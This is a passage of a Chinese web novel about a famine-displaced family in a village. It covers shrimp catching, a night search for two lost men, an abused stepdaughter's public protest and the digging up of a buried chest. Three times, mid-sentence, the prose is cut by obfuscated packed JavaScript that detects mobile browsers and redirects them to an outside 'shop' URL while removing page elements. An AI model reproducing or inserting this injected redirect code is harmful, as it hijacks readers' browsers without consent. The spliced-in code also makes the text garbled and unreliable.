小子们后退一步,没等说话,就听见由远及近的叫声,“你们干什么,别想欺负夏至。”是大丫的声音,她领着兄弟姐妹跑过来挡在赵夏至面前,大声地说道:“别想欺负我们家的人,不然我告我娘我奶。” 三春点头,也跟着皱眉,“你们不知羞,合起来欺负夏至,我们只是分开摸虾子,你们就当她是一个人吗?” 大丫的娘……一个人能压着马家的几个男人打,更是惹不起。小子们再次后退,这一家的女人咋都那么凶? “我们等下再来。”马虎哼了一声,他想着河虾不会被捞完,过会儿再来也是一样的。 等这几个男娃离远,赵夏至就对大丫三春说道:“你们在这附近摸,能摸得多一些。”虽然河不是她的,但是河虾是她引来的呀,分一些给她们也算是感谢。 至于直接分虾子或者让出风水宝地,绝对不可能! “泥鳅。”传宗叫了一声。 那泥鳅不长眼,往赵夏至手里钻,被她逮着丢进木盆里,这还不止一条,一共三条,生猛地在木盆里弹跳。 赵夏至摸了大半盆虾子和三条泥鳅,等日头逐渐毒辣她就捧着盆回家,“你们小心点,别晒中暑了。” 等赵夏至离开,她原本站的位置河虾变少,稀稀拉拉的,耀祖就有些不满了,“这咋还不如咱们在那边摸到的多?” 还是得跟着夏至才能多捞一些。 8. 一块碎铜镜 赵夏至回到了家,赵二刚与李柳叶还没回来,她用井水淘洗了河虾后放进陶罐子里煮了一半,剩下的一半还有三条泥鳅得等她爹娘来弄,看看怎么个吃法不会那么腥。 煮上了河虾,她又跑到村口领粥,三份稠粥,小心翼翼地端回家,等着人齐再一起吃。 才念着她爹娘,门口就进来两道身影,李柳叶还没进门就闻到了香味,“捞到了虾子?我都多久没吃过了。” 赵夏至翘起得意的小尾巴,“还有泥鳅呢!不过我不会弄,等你们回来。虾子我煮好了,剥掉虾头就能吃。”虾壳也是营养,嚼起来嘎嘣脆。 “来,先吃。”赵二刚捞起虾子平均分在了每一碗粥面上,“夏至你先把鸡蛋吃了,等虾子凉一凉再吃。” “好。”赵夏至摸出最后一个鸡蛋,依依不舍地小口咬着,嘴里还碎碎念,“我明天还想吃,上山能捡到吗?” “能的。”李柳叶呼噜了两口粥之后说,她感受到粥混合着虾子落肚,暖暖的温度传向身体各处,真舒坦。 “好吃,这虾子香的很。”赵二刚拿着木汤匙舀虾子,一勺三个入口,嚼得嘎吱嘎吱,香! 赵夏至吃的慢,跟两人说着今天的事,“河里有不少虾子,我明天还去摸,要是能摸到鱼就好了,能吃烤鱼。”也不知水深一点之后会不会有鱼? “你说大丫和三春她们帮你了?”赵二刚摸着下巴,心里又记着欺负夏至等我几个小子,尤其是马虎和马豹,得给他们搞点苦头吃吃。 “对。”赵夏至点点头,“我们平日不一块玩,但是有事还是会帮的。”就像她们两个有啥事她也不会干看着,搭把手。 聊着闲话,一顿晚饭就差不离吃完了,用清水一冲,也不必专门洗碗。 天还有余亮,赵夏至望天,嘴里咂摸着响午那顿烤鸡烤兔的味道,“爹娘,咱们明天再上山吧?” “成啊,凭我闺女的气运还有我媳妇的手艺保准儿能有收获。” 李柳叶睨赵二刚,“你就嘴贫,等着吃是吧?” “起火看火候都是我干,要是没收获还能搂点柴,咋样都不亏。”赵二刚嬉皮笑脸,他看了看天,“早些睡,不然等会儿又饿了。”也不知是不是肚里有了吃食,这几日越来越容易饿,半夜都能饿醒一回两回。 赵夏至打了一个哈欠,休息一会儿就拿水洗身体,等她爹娘也洗完澡躺下时她已经昏昏欲睡了。 别看她没干多少活,到底是小孩子在长身体,容易累。 正睡得香,外头忽然有人喊,“老少爷们都出来帮帮忙,都出来。” “咋回事?”赵夏至揉着眼,她还没坐起来就察觉到她娘在拍她胸口,“睡吧睡吧,没我们的事,让老少爷们去呢。”赵夏至迷蒙着眼,就又睡着了。 话是这样说,李柳叶担心出什么事,跟着起来了。等人差不多都聚集在村口,就看见村长在说,“马老大和马老二还没回来,上了山到现在,大家伙帮着找一找。” “这都半夜了咋找,咱们没个火把,山上也不安全。”有人担心自个安危,摸黑上山可不是啥好事。 “许是他们躲在哪里偷吃,不然哪能这个点还没回来。” “大家静一静,一路逃难来相互帮扶的情份都忘了?咱们小赵村的人可不是那等没良心的,我也晓得大家心里难受,但是邻居有难帮一把,他日你们有难了,难不成马家还能站在一旁看?”村长这话倒是说到了不少人的心坎上。 马婆子双手合十,哀求道:“求求你们帮帮忙,咱们家会记得这份恩情的。” “走吧走吧,帮着喊一喊也成。”村民们都同意了,他们从马家那里拿了柴火烧起来,虽然不算正经的火把,但好歹能照明。 “马老大马老二,在哪里?听见了回个话。”赵二刚跟在兄弟身后喊,王大财有些不满地说道:“你也太小声了,谁能听见,不得大声点?” 见着赵二刚不理人,王大财撇嘴,心道那处不行,果然不是个男人。 “我听见了鸡叫,这里有野鸡!”有人拔高声音,谁不馋肉? “先找人,先找人,黑成这样也抓不到鸡。”村长安抚有些骚乱的村民们,同时很恼火,马家两个到底跑哪里去了? “哥,是不是有人叫我们?”马老二有气无力地说道,“肯定是家里人出来找我们了,他们也是的,我们都不见了那么久他们才来。” “好像是,有人找我们。”马老大侧耳听了一会儿,脸上浮现出激动的神色,他挪动了一下身体,察觉到崴到的脚钻心地疼痛,“嘶,那个遭瘟的在这里挖陷阱,要是让我知道了给他打一顿,嘶。” “可不是,咱们就不应该追那只鸡,结果毛都没有捞到。”马老二恨得不行,不过他可不会怪自己贪嘴,这想着想着,竟然赖上了赵大刚,“都怪他,咋他上山就能找到野鸡,娘的,要不是他偷偷摸摸烤鸡馋着我们,我们也不会进了深山。” 原是今天午时他们捡柴时闻到了烤鸡味道,后来下山偷摸打听谁去山上了,其中就有赵大刚,这下肯定的认为是赵大刚在山上偷嘴。 这俩兄弟念着赵大刚都能找到野鸡,他们肯定也可以,喝了晚上那顿粥就结伴上山,果真让他们找到了野鸡,一路追着到了比较深的位置,一脚踩了下来。 这个大坑估摸着是以前的人挖来抓野猪或者鹿儿,里面已经躺着一具骸骨,是野猪的,底下的尖利竹签早已脆了,没伤到他们。 “我们在这里。”两兄弟扯着嗓子喊,最终被村民们发现了,大家伙合力把他俩拉上来。 少不得埋怨他们几句,你一言我一语,教两兄弟有些恼怒,他们还受着伤呢! “没事了没事了,大家伙小心点下山,你们几个扶着你们的哥哥,当心他们掉下去。”村长也是四十多将近五十岁的人了,半夜忙活到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697177|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在累挺得很。 赵二刚走在中不溜的位置,随着人流挪动,他抬脚慢慢走着,忽然踢到了什么东西,害他一个踉跄,“哎呦。”他手在地上摸了摸,感觉到是一块尖锐的东西便顺势拿起来。 “没事吧?” “还成,这山路不好走。”赵二刚边说边把那东西往怀里藏,手感还挺滑润,就是不晓得是什么。 不过甭管是甚,只要是个物件那就是好东西,家里那么穷,随便捡点都能用得上。 待回到了家,他瞧见睡得不沉的李柳叶起身,“快睡,我回来了。”他知道李柳叶像知道发生了什么事,便同她说,“说是追着野猪去的,本来想打个野猪让咱们都能吃上肉。” 什么哄人的鬼话! “等着你呢,我醒一阵睡一阵,你快些歇下。这话也信得过?他们俩好吃懒做,都是靠女人养着的货,还说打野猪,眼瘸子,都不知道野猪多厉害。”李柳叶啐了一口,她是顶顶看不上马老大马老二,一个靠着岳父过得风生水起,结果半路把妻子卖了。一个娶了娘子不好好对待,整日不是打就是骂。 这俩个能为他们着想?太阳都能打西边出来。 “瞧。”赵二刚照着火把看了看手里的东西,是一块碎裂的铜镜,巴掌大小,看得还算清晰。 “是个好物件,我们梳头不用抓瞎了。”李柳叶喜欢,不过得等明日再细看。 一早,赵夏至起来就看见了放在旁边的半块铜镜,她欣喜地拿起来照,眼睛大大的,鼻子和嘴巴秀气,虽然一副黑炭模样,但五官不差。 “夏至,梳好头过来吃粥。”李柳叶搁门口说,这没个门,她能直接看到夏至臭美的模样,“等家里好起来了,我给你买块大铜镜。” “还要个梳妆台和柜子,还要很多很多衣裳和首饰。”赵夏至笑着放下铜镜,她跑到李柳叶身边,“娘看我今天的头梳的好不好?以后插了发簪肯定更好看。” 她知道发簪难买,但是总要有点期望不是?反正一家人在一起,总能攒下钱买鲜亮的好物。 “好,我们夏至是个有大志气的女娃。”李柳叶摸着赵夏至的头,枯黄的头发哪怕梳起来也扎手,她琢磨着山上能不能找到茶树枯,那东西煮开用来洗头能养出黑发。 “哇,虾子。”早饭跟昨晚的晚饭一样,赵夏至吃的香,没几下吃完了。听见门口脚步声,她抬头,看见她爹拿着陶罐子进来。 “三条泥鳅我料理好了,到了响午你把粥放进陶罐子里,再把剩下的虾子放进去一块煮,咱们弄个泥鳅河虾粥喝,滋补。”赵二刚说,“你今天要是还去摸虾子记得小心,我老远看了一眼,水涨了不少,当心淹了。” “你爹说得对,淹死的都是会水的。”李柳叶也跟着交代。 赵夏至点头,“好。”她们村的小孩都会凫水,有一年逃难到处发大水,水里来水里去,日子久了就练出来了。 9. 烤鱼 如此捉着小虾小泥鳅,偶尔能捞到巴掌大的小鱼,日子悠悠然过去,就到了七月中。 在村长发了狠的催促下,他们紧赶慢赶,于这些天修缮到了最后那几户,眼见着就要完工了。他敦促大家加把劲,过后就能安心的照顾自家的田地。 明儿开始就不由官府供应一日三餐的粥水,全部是村子解决,熬粥的大锅和米由官府供应,村民们找柴火自个烧。 傍晚,他们聚在村头,村长站在榕树下,“锅和米已经在这里,你们都瞧见了,半分不错,够我们吃到收粮。明日开始分人出来熬粥,单靠孩子们不成,怕他们贪嘴偷吃,得每家每户分给人出来看着。” 对于这个没有人有异议,相互看着大家都安心。谁乐意被人占便宜? “按照顺序,就从二刚家开始,由柳叶盯着三餐,后日就是田婆子,没问题吧?”村长看见了菊红与田婆子脸上的神色,不由得叹息,这只剩下两个女人,咋活?他帮着点吧,想了想,他说道:“这煮粥也不用时时看着,你们挑水经过看几眼就成,孩子们也不是蠢的,都会守着。” 熬粥其实主要就是交给村里的孩子,只有他们得空。而且现在天亮的早,大早上起来煮粥也不碍事。 田婆子神色缓和些,捏了儿媳妇菊红干瘦的手一把,“不耽搁我干活。”她虽然老了,但到底逃荒几年,一把子力气还有。 “娘。”菊红红了眼,这田地恁多,浇水都耗了半条命去了。 人群中,马老大瞧了瞧菊红,眼珠子滴溜溜地转,不知道在想什么。 “按照咱们说好的,柴火各家轮着出,谁也别想躲懒。” 这么一通说好了,各自散开,这些天吃上了粥,隔三差五有肉下肚,赵夏至脸圆了些许。与其他小孩站一起都能明显看出她有肉,这就招了眼。 寻常有小孩来找她上山,被她拒了之后偷偷摸摸跟着,被发现了还说路不是她家的,谁都能走。 不过跟也没用,赵夏至在山林里蹿得嗖嗖快,一下甩掉他们了。 回到了家,赵夏至指着木盆里的鱼,“我厉害吧,没什么虾子了我就逮到了鱼,咱们今天烤鱼好不好?”这烤鱼她拢共吃过两回,味道霸道着呐,吃上几口滋味能一直留在嘴里。 “烤了吧,给咱们的功臣吃肉。”李柳叶满眼笑意地看着赵夏至,“下巴不那么尖了,总算有些人样。” 赵二刚拿着鱼去屋外处理,母女俩就在屋子里头说话,“等会儿我上山看看陷阱有没有抓到东西,这放了一天,小东西应该能捞点。” 这一个多月来李柳叶已经把前山摸了一个遍,哪里适合设陷阱哪里有兔子洞她都知道。前山没有什么大的猎物,要是像马老大马老二那样去到第二座山可就不同了,野猪都出没。 “我也去我也去。”赵夏至激动上了,摸黑看陷阱有没有猎物,多美的事,这要是有,都不用带下山,直接在山上烤了。 “也行,你跟紧些。”李柳叶向来不拘着女儿,这见识都是一次一次经历才能积累,见得多了也就心里有数,做事都能有个成算。 烤鱼滋滋响,鱼皮一缩,鱼肉便冒出来,白嫩嫩的颜色转为金黄,一层接一层的变色,直到最里头也黄润就好了,骨头没有去,怕肉散了。没有多余的调味料也不碍事,那股子香味一传出来便四处飘散,闻到的都晓得是赵二刚家。 “这逮着一条鱼就搁那儿显摆,就他们家有鱼是不是?”第三户的女人嘟嘟囔囔,骂了好一会儿不满得很,捏着女娃的耳朵扭来扭去,“她怎么就能逮着鱼,你不是也去了河边吗?怎么逮不着?” 那女娃娃哭喊,“我不知道我不知道,啊,娘你别打我别打我,好痛。”她扯着嗓子喊,那嗓音传出去老远。 左邻右舍走出来凑在门边看,“金钗,你怎么在打娃娃,这种田回来不累?” “织花做了什么你要打她,造孽哦,耳朵都要让你扯下来了,你又不是织花亲娘,管教也要有个限度。” 这见着有了热闹看,邻居们你一言我一语讲得起兴,一个个用不赞成的目光看着金钗,好似她是什么恶人。 “孩子小不教长大了还了得?我不是亲娘,但她几个月我就带她了,跟亲的有什么区别?你们要是可怜她,把她带回去养着,既然不愿意,就别打扰我教孩子。”金钗惯来是这副泼辣样子,她叉着腰,“我逃难这些年都带着她,凭着这个我就能说我比亲娘也不差了,有些亲娘还把女儿卖掉,比我狠毒多了。” “这倒是,像绿柳就不成个样子,把女儿卖完了,五个女儿都狠心卖掉。”妮子婶摇头说,这说起来她们小赵村卖女儿的真是不少,细数下来也有七八户,这还是没分家之前的户数。 一些是老子老子娘做主卖的,一些男人死了,女人当家,竟也狠的下心卖儿卖女。前头那户就像马家,后头这户就是绿柳一家。 绿柳是山窝窝嫁出来的,说是嫁,其实就是卖,她家里人拿了二两银子把她卖给了赵春生。进门后她给赵春生生了三子五女,其中两胎是双生胎,当时十里八乡谁不说她福气好?结果没两年,天灾人祸来了,赵春生不走运,逃荒路上摔死。绿柳公爹婆母接连病死,只剩下她跟八个孩子。 为了跟人换吃食,绿柳先是卖了五个女儿,后头又撑不下去,卖了才四岁的小儿子。她说得好听,什么儿子女儿被大户人家买去,当个仆人能吃饱喝足,不用跟着她挨饿。可是哪里能人人都卖去有钱人家? 牙婆都说了,逃难前那些富贵人家都不要仆人丫鬟了,还往外卖哩。 凑堆谈论这事的村民逐渐偏向于金钗,也是因为织花是女娃,早晚要嫁人,他们更是管不着了。 “给我进去,在这里混着做甚,不够人看的。”金钗用手指戳着织花的脑袋,一下又一下,心里甚是畅快。 一向听话的织花却只是站在那里,忽然又开始可大声地哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697178|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“娘,你别骂我,我都乖乖听话了为什么你还是不让我吃饱,还要我的粥水分给弟弟们,我这二十多天每日只能喝一碗粥,剩下的都要分给他们。娘,我顶不住,就因为我不是你亲生的,你就这样对我吗?” 随着织花这么一说,聚集的村民顿时炸锅了,啥,不让娃娃喝粥?这,这可就说不过去了,不是等着让织花饿死吗? “金钗,你咋不让织花喝粥?天老爷,有你这样的娘吗?作践孩子,她才十二岁啊。” “亏我刚才还以为你是个好的,原来背着我们偷偷摸摸折腾织花,她也就比弟弟妹妹大一岁,让她让粥。”有人摇摇头,心说金钗真是不做人。 赵夏至一家站在后面,她勾了勾发丝,在她爹娘耳朵边嘀嘀咕咕。 “金钗糊涂也就罢了,怎么这家里个个都糊涂?其他人哪里去了?”李柳叶怜惜地瞧了眼织花,可怜的娃,比她夏至大两岁,但是这个头反倒更矮。 “赵树,赵树,别躲在里头,你的女儿被金钗虐待你不管?往小了说是家事,往大了说,这是官府明令每个人一碗粥,不得抢夺,也不许推让,金钗敢不听官府的,回头不怕官大人找上门?”赵二刚说,跟赵树一个姓真真是丢人,说了半天他就在里头当听不见? 不是个男人! “金钗,你做甚,大晚上搅得大家伙没得睡。”屋里走出来一个瘦瘦小小的男人,他不自然地笑着,“各位,金钗没有那么做,是织花心疼弟弟妹妹,主动让出来口粮,可不敢乱说,什么官老爷找上门,我们担不起。”他可烦死赵二刚了,跟个娘们一样乱说话,有他什么事? “不是,我不是主动的,就是娘让我这么做,我也想吃饱,但是日日都是几口粥下肚。”织花再度高声,她是面向看热闹的村民们,眼神扫了一圈,在看到赵夏至时停顿了一下,极短,很快挪开目光,也没人察觉到。她直接跪下,揉着眼睛哭,“各位叔伯婶娘,我娘这是想要我死。” 人群中的赵夏至挑眉,心说织花还是狠不下心按照她说的做,她给出主意的时候就说过了要爹娘一起骂,赵树是死人吗?干看着金钗虐待织花?本来想着她没有攀扯到赵树,她还让爹娘出声推了一把,不曾想……算了,自个的路自个走。 “村长,村长来了。” “请柏叔公给我做主,我真的要死了,现在是一碗粥都要抢我的,以后我可能连这口粥都吃不上了。好不容易逃到这里,难不成我要成了小赵村第一个死的人?”织花声泪俱下,别提多可怜了。 村长娘子玉秀上前扶起她,厚厚的手掌摸着她的脸,怜惜地说道:“快别哭了,明日眼睛就该肿了,有什么委屈一并说出来。”她不是蠢人,织花向来是个畏畏缩缩的,怎么这一次就闹得那么大?里头保准还有事! “我,我,我娘还打我,家里的活都是我干的,弟妹啥都不用干。”织花拉起衣袖,暗黄色的手臂上有几处乌黑,可想而知打得多狠。 10. 三只野鸡 “赵树,我跟你爹是隔着几房的堂兄弟,但到底血缘在这里,织花丫头还要喊我一句柏叔公,我也是她的长辈,断不可能看着你糟践孩子。赵树,你说一说,金钗是你娘子,她这样对织花,是不是你允许的?”赵柏一双下垂的眼睛紧紧盯着赵树,用痛心失望地语气说道:“织花她娘生下织花就去了,没过四个月你就娶了金钗进门,说是孩子小不能没人照看,本以为你是个好爹,结果你看看这叫什么事?” “织花那么乖巧的一个女娃娃,平时从来不敢大声说话,让她做什么就做什么的好孩子被你们作践成这个样子。事是金钗做的,可别说你这个当爹的没看见不清楚,耳朵眼睛去了哪里?” 赵柏重重哼了一声,颇为看不上赵树,看重男娃无可厚非,但是女娃也不是捡来的,这还是他头一个娘子拼了命生下来的唯一一个孩子,也得看重啊! “你们站出来,当着这么多爷奶叔婶的面说,错没错?” 赵树和金钗都是当爹当娘的人了,还被村长这样指着骂,两人脸上神色都是青了白又变成黑,总之十分难看,赵树到底要脸面,倒是金钗,不止一次剜向织花,那眼神活像要生吞活剥。 “认还是不认?”赵柏加重语气,“要是不认错,我就召集大家伙到村头,咱们要来个村规,总不能让织花白白受了委屈。” 一听这般严重,赵树咬牙,“认,是我这个当爹的没注意到,我这早出晚归,一天心思都在那地上面,实在没功夫管家里。不过如今知道了,肯定不能让婆娘对织花不好。金钗,你以后别再打骂织花,都是你的孩子,喊你娘的,别寒了她的心。” 顶着众人齐刷刷的视线,金钗没再敢张牙舞爪,低声附和赵树,“我晓得的。” “那便是这样,往后你们一视同仁,对一家子儿女都得一样。”赵柏点了点头,他也知道这不容易,不过出了今天这一遭,他们大抵也能稍微收一收,至于再多的他也不能帮了。 “她叔婆,带着织花上咱们家坐一坐,我们那儿还有一点点药酒,涂一涂能消肿。” “走吧。” 没了热闹,大家伙三三两两离开了,赵夏至打了一个哈欠,困顿,这一通耽搁下来,天已经黑尽,她问李柳叶,“还上山吗?” “去吧,黑天也没啥,更好有动作,带上火把,没事。何况不是还有其他人也上山砍树,动静大了,没什么猛兽。”李柳叶说,她看向赵二刚,“他们都砍树回来弄门摆桌椅了,咱们家什么时候也开办?” “明天开始吧,咱们浇完地就上山,一点一点磨下来家伙事就齐全了。先弄个大门,家里没门不成样子。”赵二刚瞅了瞅空荡荡的门框,这漏风不说,路过的人一眼就能看见院子里的人在干什么,忒不方便了。 决定了上山,他们直接奔着山脚去,连家门都没进。 等到了没人的地,李柳叶还问赵夏至,“你咋让我们帮织花?我还以为你帮她出个主意也就算了,帮的那么彻底,她也没承你的好。” “那我收了她的一捆柴,总要送佛送到西。她心里对她爹还有点念想,倒也正常。”赵夏至耸耸肩,织花土生土长的古代人,生下来接受到的一切就是以她爹她弟为主,当然不敢忤逆赵树。今日能站出来闹一场,也是因为吃得太苦,但还没有到绝境,所以不会跟赵树也撕破脸皮。 她跟织花不熟,因为织花大多数时候都要上山捡柴,她则是捣鼓食物。可织花也不是坏孩子,可怜兮兮带着重重的一把柴来求她出主意,手都勒出血痕了,看着怪让人心酸,她也就发了一把善心。 “甭看了,我觉得织花还有苦头受呢。”赵二刚火眼金睛,看出来赵树和金钗不会放过织花,明里不行就来暗的,总能折腾住织花。 “你爹说得对,远的不说,单说织花回了家,上上下下不待见她,她心里难受不?”李柳叶点头,这还有得闹。往远了看,织花总要嫁人成亲,她的婚事由爹娘做主,这闹一次别人能怜惜她,闹两次三次那就是她脾气大不尊父母了。 “有野鸡!三只!”赵夏至扒开陷阱,看见了里面无力扑腾翅膀的野鸡,顿时,她的眼睛就放光了。 “快夸我做的陷阱好,咋样,是不是瞧不出来?”李柳叶眉飞色舞,她拎起三只野鸡,“赶紧去另外两处瞧瞧,这要是多逮住几只,咱们能好好补一补了。” 赵夏至搓手手,眼睛四处看,她视力好,哪怕是黑夜也能看得清,这附近会不会有鸡蛋? 到了第二个陷阱,没货,李柳叶只看了一眼就啧道:“跑了,这还是个大货,跳出来了。”这不到深山老林她设陷阱就不可能设太大的,怕村里人到这边来,万一有人受伤那可说不清。 “没事,还有最后一个。”赵夏至鼓气,深一脚浅一脚在草中走着,到了一侧树边,她左顾右盼,“娘你别说,我自己找一找陷阱在哪里。”她没正式学过这些,不过逃难时在一旁看她娘弄,她娘教过她基础的,慢慢的她也就会了一些。 “这里,是不是?”一团儿枯黄杂草乱在那儿,从外形上看绝对瞧不出有什么异样。赵夏至接捏着小棍子戳,三两下把杂草挪开,果然是个陷阱,里面插着一些不算很尖利的木棍,空的。 “没有也没事,起码看出来咱们夏至是个当猎户的好苗子,往后上山不愁吃喝。”李柳叶摇了摇三只野鸡,“咱们还有这个呢,够吃了。” “也是。”赵夏至把不高兴的情绪抛之脑后,比起从前吃不着肉的日子,现在已经很难得了,暂且知足,等她吃饱长肉有了力气就来林子里猎鹿儿。 正走着,赵夏至忽然一脚踏空,短促地“啊了一声后,她滚下了坡,因为她反应快护着头了,滚了一段距离后撞到一根矮树桩上。 她撑着坐起来,脑子还有点晕乎乎。 “夏至,夏至你怎么样了?”李柳叶丢掉了野鸡,顾不得树枝抽打的劲儿,直直往山下冲。 赵二刚也是,他举着火把更是不方便,顾得了手上顾不了脚下,跑一趟下去,竟比滚下去的赵夏至还要狼狈。 “噗呲。”赵夏至笑起来,“爹你看看你,像个浪人。”浪人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697179|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是野人。 “没事吧。”李柳叶急急忙忙查看她有没有受伤,“怪我没提醒你,这边是有一个小坡,不陡,但是不注意跌下来也够喝一壶了。” 赵夏至一手借着李柳叶的手劲一手撑着后面树桩想着起来,忽然惊奇地“诶”了一声,右手在树桩底下来来回回摸,捅开一小块遮挡的木片,从枯萎的树心里摸到了一块坚硬的凸起,“咦?” 她招了招手,“爹,火把举过来,这儿有东西。” “什么,你往你娘那边站,叶子你扶着夏至点,别又摔了,我看看有什么。”赵二刚凑近,倒是看清楚了,“是个木箱子,一个角起来了。” “能挖出来吗?”赵夏至探头探脑,“该是逃荒时藏着的好东西。” “八成是富户挖了藏着的,前些日子干活时才听见说这一片原来有个地主,家里富得流油,逃难时丢了不少东西,大多被抢了。”李柳叶说,那些人来送粥也会跟他们透露些消息,这一来二去,就知道了。 “挖不了,手疼,这得带锄头上来,埋得不算深,但是箱子应该很大只。”赵二刚判断,“事情宜早不宜迟,咱们现在下山回去取锄头,把它挖起来瞧瞧是什么。” 这要是明天再干,谁知道会不会给旁人先一步拿去了?运气这回事,向来说不准,这山也不单是他们一家子来。 “成。”赵夏至与李柳叶皆点头,几人没有那种抢占别人东西的罪恶感,天灾一来,多少人丧生,埋藏这些物件的人还在不在都不好说,第二个则是有本事埋东西的都是富户大户,金银细软拿捏在身上,到了地方安定下来说不定早忘了这些零碎了。 赵夏至心情很好,虽然跌了一跤,但是因祸得福,发现了一处藏宝洞。 “诶二刚,这野鸡咋办?这要是提回去,烤着吃味道大,保不齐引来爹娘和大房三房,这我可不乐意。”李柳叶心中还有气,她嫁给赵二刚那会儿公爹婆母啥都没有帮衬,唯有赵二刚自个去打零工,攒了一年多的钱给她打了一根素银簪子。 这样就罢了,她与赵二刚踏踏实实过日子,也不求家里给他们什么金子银子,偏她有打猎的手艺,打到猎物下来大房提议拿去卖了换钱。本来都提前说好一半归他们小家一半算作孝敬二老的,结果拿到了钱,大房三房闹起来,亏得二刚与她坚决不同意,这才没让大房三房成事。 他们拿到了自个的一半,二老那一半又被他们平分给了那两房,这不就是她辛辛苦苦打到猎物养着其他人?她这暴脾气,自那以后都不带猎物回家,打到先跟着赵二刚拿去卖了,银钱存入钱庄,后头眼见着世道越来越差,他们夫妻俩咬咬牙,把钱都取出来,买了粮食和武器,靠着那些才在乱世里护住了一家。 可惜的是那把红缨枪在躲避逃兵时被赵富银那个怕死鬼不小心丢在原地,不然她们家这会儿还能多一把防身的武器。 因着这些过往的事,李柳叶对公爹婆母还有其他两房向来不喜欢,可不想他们占自家的便宜,什么得了好处不顾着家里人这种坏名声,她可不在意! 11. 得手 “要不咱们今晚熬个大夜?把三只全烤了吃个饱肚,不然拿回去东躲西藏,但凡被人知道了都有麻烦事。”赵二刚也瞧不上家里,甭说什么养育之恩,那也不能只在他身上搜刮,只等着他来养? “烤鸡烤鸡。”赵夏至激动地问道,“咱们一人一只吗?” “一人一只!开烤!”李柳叶拍板。 三人不是第一回偷偷摸摸烤鸡,动作倒是快,不消几下就在背坡处点燃了篝火,柴火噼里啪啦,赵夏至低声问她爹,“好了吗?” 赵二刚提着三只剥得干干净净的野鸡回来,“棍子给我,可以了。” 等野鸡架着烤上了,李柳叶说道:“我刚刚一直盯着呢,没什么人影走动了,估摸着都睡迷去了,我现在下山去拿锄头,你们先烤着。” 赵夏至与赵二刚点头,要问他们家谁的眼力最好,不用说指定是李柳叶。她打小在山林里蹿,哪怕隔着一座山头都能瞧见另外一处山的小动物,她说村里人都睡了,那假不了。 “好香哦。”赵夏至吸了吸鼻子,油脂的味道让她的肚皮咕咕叫,她帮着拨弄火堆,瞧着烤鸡一点一点变得金黄。 李柳叶脚程快,扛着两把锄头飞快回来了,“好了没?” “再等等,里面没烤透,你们两个先吃肠子鸡心,这些熟了。”赵二刚说,虽然处理这些内脏麻烦了一点,但他们可不会放弃肉食。 赵夏至一口咬在鸡肠上,没什么调味料,但是柴香混合着鸡油,别有一股风味,香! 这点油水下肚,更饿了,她眼巴巴地看着,地上的草被她薅了个秃头,等烤鸡好了,她们先分了一只。 油脂气味在嘴里迸发,每咬一口都是一种享受。鸡腿肉多,一大口咬身心舒畅,鸡翅焦香,得慢慢啃才出味,鸡胸肉有些柴,但是撕下来一条一条吃,倒也是不多得的趣味。 没什么肉的鸡架子赵夏至最后吃,她爹手艺好,把骨头烤的脆香,咔嚓咔嚓嚼着当吃零嘴。 三只鸡满打满算都吃了个精光,算下来连赵夏至也吃了一整个鸡,晚上一碗粥不顶事,早消耗没了,甭说一只鸡,再来一只她也能吃得下! 等歇了一刻钟,三人走到了矮树桩处。赵夏至举着火把,赵二刚与李柳叶从两个方向开始挖,天气炎热,泥土干都很,每一下都得出狠力气。 忙活了半天,终于把大箱子挖了出来,赵夏至四处瞧了瞧,“没坏诶,咱们家有个木箱子了!” “这有个锁头,开不了。”赵二刚捣鼓了一下,“抬回去再说,等我找到了银丝铁丝再试试开锁。” “成,这样好的锁可不能弄坏了,反正东西到了家又跑不了。”李柳叶稀罕地摸着锁头,“这锁头挺大的,到时候弄了门,咱们都出去了,还可以用这个锁大门口。” “好主意。”赵夏至举着双手赞同。 赵二刚能干,把木箱子扛上肩膀,“走咯,回家。” 赵夏至拿着火把走中间,李柳叶在前边一手一把锄头开路。 天色黑,也没人在外头晃悠,三人顺顺利利到家,没有丝毫阻碍。等到了家,赵二刚把木箱子藏在柴房的柴里,细小的树枝遮掩着,哪怕有人进来也看不出来。 但哪怕他们蹑手蹑脚,到底没有窗户和门,一些细碎的声音被隔壁听去了,娘俩睡在一起,菊红问田婆子,“娘,您说,他们在干什么?” “我哪儿知道?不过,二刚和柳叶都是能干的,指不定谋划着怎么攒家底。”田婆子睁开混浊的三角眼,她虽然老了,但心还不老,看得真真的,赵富银那一家子人,也就二房能有出息。 “还好住我们家隔壁的是他们,要是换了马家,我都睡不好。”菊红说着红了眼眶,“娘,那马老大,今儿傍晚还去咱们的田旁边晃悠,我,我害怕。” 